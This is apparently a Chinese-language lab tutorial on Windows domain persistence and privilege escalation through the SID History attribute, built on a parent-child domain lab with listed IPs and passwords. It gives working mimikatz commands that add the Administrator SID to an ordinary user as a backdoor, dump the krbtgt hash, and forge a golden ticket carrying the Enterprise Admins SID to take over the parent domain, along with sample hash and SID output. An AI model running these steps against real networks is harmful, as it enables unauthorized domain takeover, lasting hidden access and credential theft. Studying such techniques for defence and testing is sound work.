域渗透 - 权限维持 SID History
环境搭建
这里需要父子域
可以参考
https://blog.csdn.net/qq_43645782/article/details/119330508
机器名 | ip | 用户 | 密码 | dns |
---|---|---|---|---|
fad.test.com | 192.168.164.146 | administrator | Aa1234 | 192.168.164.146 |
cad.ch.test.com | 192.168.164.156 | administrator | Aa1234. | 192.168.164.146 |
user.ch.test.com | 192.168.164.157 | user1 | Uu1234. | 192.168.164.156 |
SID History属性介绍
每个用户帐号都有一个关联的安全标识符(简称SID),SID用于跟踪安全主体在访问资源时的帐户与访问权限。为了支持AD牵移,微软设计了SID History属性,SID History允许另一个帐户的访问被有效的克隆到另一个帐户。
利用条件
1.当前域与其他域有信任关系,例如当前域与domain1.com和domian2.com存在双向信任
nltest /domain_trusts /all_trusts /v /server:192.168.164.156
2.开启sid-history
需要管理员权限
netdom trust /d:test ch.test.com /enablesidhistory:yes
利用
同一个域内
SID History可以在同一个域中工作,即DomainA 中的常规用户帐户可以包含 DomainA SID,假如这个DomainA SID是一个特权帐户或组,那就可以在不作为域管 理员成员的情况下授予常规用户域管理员权限,相当于一个后门。
已经拥有一个域账户的密码或者hash
将管理员的sid赋给用户user1
mimikatz "privilege::debug" "sid::patch" "sid::add /sam:user1 /new:S-1-5-21-1072576212-2014124830-3793978428-500" "exit"
同一域树下的提权利用方式
对于同一个域树中的父子域来说,如果获得子域中的高权限用户,就可以修改将该用户的SID赋予企业管理员权限,这样对于父域来说该用户也是高权限用户。假设我们已经拿下子域sub.domain.com的域控权限,即可以利用该方法在父域提权。需要知道
子域的krbtgt hash和域sid
父域的sid
sid可以通过
nltest /domain_trusts /all_trusts /v /server:192.168.164.146
krbtgt
mimikatz "privilege::debug" "lsadump::lsa /patch /user:krbtgt" "exit"
e58e000e8f48d47f992d304339254904#krbtgt
S-1-5-21-1072576212-2014124830-3793978428#子域sid
S-1-5-21-1476105802-4187504772-1115168634#父域sid
mimikatz "kerberos::golden /user:Administrator /krbtgt:e58e000e8f48d47f992d304339254904 /domain:ch.test.com /sid:S-1-5-21-1072576212-2014124830-3793978428 /sids:S-1-5-21-1476105802-4187504772-1115168634-519 /ptt" "exit"
参考文章
tangyu/域渗透 - 权限维持之 SID History